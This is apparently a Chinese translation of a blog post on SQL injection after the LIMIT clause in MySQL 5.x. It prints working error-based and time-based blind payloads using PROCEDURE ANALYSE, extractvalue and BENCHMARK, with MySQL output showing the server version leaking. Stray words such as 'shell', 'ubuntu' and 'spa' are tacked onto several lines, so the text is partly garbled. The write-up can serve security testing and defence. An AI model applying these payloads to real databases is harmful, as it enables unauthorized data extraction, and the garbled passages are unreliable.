from:https://rateip.com/blog/sql-injections-in-mysql-limit-clause/mysql
此方法適用於MySQL 5.x中,在limit語句後面的注入
例如:sql
在LIMIT後面能夠跟兩個函數,PROCEDURE 和 INTO,INTO除非有寫入shell的權限,不然是沒法利用的,那麼使用PROCEDURE函數可否注入呢?shell
Let’s give it a try:ubuntu
ANALYSE能夠有兩個參數:函數
看起來並非很好,繼續嘗試:
mysql> SELECT field from table where id > 0 order by id LIMIT 1,1 procedure
analyse((select IF(MID(version(),1,1) LIKE 5, sleep(5),1)),1);
可是當即返回了一個錯誤信息:
ERROR 1108 (HY000): Incorrect parameters to procedure ‘analyse’
sleep函數確定沒有執行,可是最終我仍是找到了能夠攻擊的方式:
mysql> SELECT field FROM user WHERE id >0 ORDER BY id LIMIT 1,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1);測試
ERROR 1105 (HY000): XPATH syntax error: ‘:5.5.41-0ubuntu0.14.04.1′
若是不支持報錯注入的話,還能夠基於時間注入:
SELECT field FROM table WHERE id > 0 ORDER BY id LIMIT 1,1
PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(IF(MID(version(),1,1) LIKE 5, BENCHMARK(5000000,SHA1(1)),1))))),1)
直接使用sleep不行,須要用BENCHMARK代替。this
PS:測試成功,無圖無真相:spa